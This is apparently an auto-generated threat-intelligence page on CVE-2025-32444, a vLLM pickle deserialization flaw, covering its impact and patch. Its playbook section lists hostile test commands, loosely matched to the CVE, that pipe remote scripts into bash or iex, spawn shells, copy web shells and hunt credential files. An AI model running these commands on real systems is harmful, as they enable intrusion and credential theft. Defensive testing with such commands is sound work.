CVE-2025-32444
Overview
This vulnerability is a deserialization flaw arising from the use of Python's pickle serialization over unsecured ZeroMQ sockets in the vLLM project's mooncake integration. The root cause is the acceptance and deserialization of untrusted data on ZeroMQ sockets bound to all network interfaces, enabling arbitrary code execution. The affected component is the mooncake integration within vLLM versions from 0.6.5 up to, but not including, 0.8.5.
Vulnerability Description
vLLM is a high-throughput and memory-efficient inference and serving engine for LLMs. Versions starting from 0.6.5 and prior to 0.8.5, having vLLM integration with mooncake, are vulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack. vLLM instances that do not make use of the mooncake integration are not vulnerable. This issue has been patched in version 0.8.5.
Impact
An unauthenticated remote attacker with network access to the exposed ZeroMQ sockets can execute arbitrary code on the affected vLLM server. This enables full compromise of the system, including data theft, service disruption, and lateral movement within the network. Since the sockets listen on all interfaces and require no user interaction or privileges, exploitation is straightforward in exposed environments, consistent with the CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Solution
Users of vLLM with mooncake integration should upgrade to version 0.8.5 or later, where the vulnerability is patched as per the GitHub security advisories GHSA-hj4w-hm2g-p6w5 and GHSA-x3m8-f7g5-qhm7. The patch removes the insecure pickle deserialization over ZeroMQ sockets. Detailed upgrade instructions and commit information are available at https://github.com/vllm-project/vllm/security/advisories/GHSA-hj4w-hm2g-p6w5 and the related commit a5450f11c95847cf51a17207af9a3ca5ab569b2c.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the vLLM inference and serving engine arises from the use of pickle-based serialization over unsecured ZeroMQ sockets. This design flaw allows for remote code execution, as malicious actors can exploit the serialization mechanism to execute arbitrary code on the server hosting the vulnerable application. The integration with mooncake in versions from 0.6.5 to prior to 0.8.5 exposes the application to significant risk, as the ZeroMQ sockets are configured to listen on all network interfaces. This misconfiguration effectively broadens the attack surface, making it easier for unauthorized users to access and exploit the vulnerable sockets.
Attack vectors for this vulnerability are particularly concerning due to the nature of the serialization process. An attacker could send specially crafted payloads to the unsecured ZeroMQ sockets, which would then be deserialized by the vLLM application. This deserialization process can lead to the execution of arbitrary code, allowing the attacker to gain control over the system. Scenarios may include an attacker within the same network segment leveraging this vulnerability to escalate privileges, or an external attacker exploiting the open network interfaces to gain unauthorized access. The implications of such exploitation are severe, as it could lead to data breaches, service disruptions, or even the complete compromise of the affected system.
The real-world impact of this vulnerability extends beyond technical concerns, posing significant business risks. Organizations utilizing vLLM for large language model inference may find themselves exposed to data theft, loss of intellectual property, or reputational damage in the event of a successful attack. The high CVSS score of 9.8 indicates the critical nature of this vulnerability, suggesting that its exploitation could lead to catastrophic outcomes. Furthermore, the reliance on machine learning models in various industries means that the consequences of a breach could affect not only the organization itself but also its clients and partners, amplifying the overall risk.
To detect and mitigate this vulnerability, organizations should first ensure that they are running the patched version of vLLM (0.8.5 or later). Regularly updating software is a fundamental practice in cybersecurity, as it helps to close known vulnerabilities. Additionally, organizations should implement network segmentation to restrict access to the ZeroMQ sockets, ensuring that only trusted sources can communicate with the vLLM instances. Employing intrusion detection systems (IDS) can also aid in identifying suspicious activity related to unauthorized access attempts. Furthermore, organizations should consider using more secure serialization methods that do not rely on pickle, thereby reducing the risk associated with deserialization attacks.
In conclusion, the vulnerability in the vLLM engine highlights the critical importance of secure coding practices and proper configuration in software development. The potential for remote code execution through insecure serialization mechanisms poses a significant threat to organizations leveraging this technology. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive measures to safeguard their systems against exploitation. Implementing robust detection and mitigation strategies will not only protect against this specific vulnerability but also enhance the overall security posture of the organization.
Recent CSURFACE threat intelligence indicates a marked escalation in the likelihood of exploitation for CVE-2025-32444, as evidenced by a substantial increase in the Exploit Prediction Scoring System (EPSS) score, which has more than doubled and now resides in the 90th percentile. This upward trend reflects growing confidence in the feasibility of remote code execution attacks against vulnerable vLLM instances, particularly those exposing unsecured ZeroMQ sockets. Although no new exploit code or active campaigns have been detected by our sensors, the rapid rise in EPSS suggests that threat actors are increasingly prioritizing this vulnerability, potentially due to its critical severity and broad network exposure. For defenders, this shift underscores an elevated risk posture and a narrowing window for preemptive action, as the probability of successful exploitation is climbing sharply. The heightened EPSS score warrants increased vigilance in monitoring network traffic and anomaly detection related to ZeroMQ communications within affected environments. Overall, the threat level for CVE-2025-32444 has intensified, moving from a theoretical to a more imminent risk scenario based on predictive exploitation trends.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vllm | Vllm | All |
cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
55%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-32444 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/vllm-project/vllm/security/advisories/GHSA-hj4w-hm2g-p6w5 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vllm-project/vllm/commit/a5450f11c95847cf51a17207af9a3ca5ab569b2c |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179 |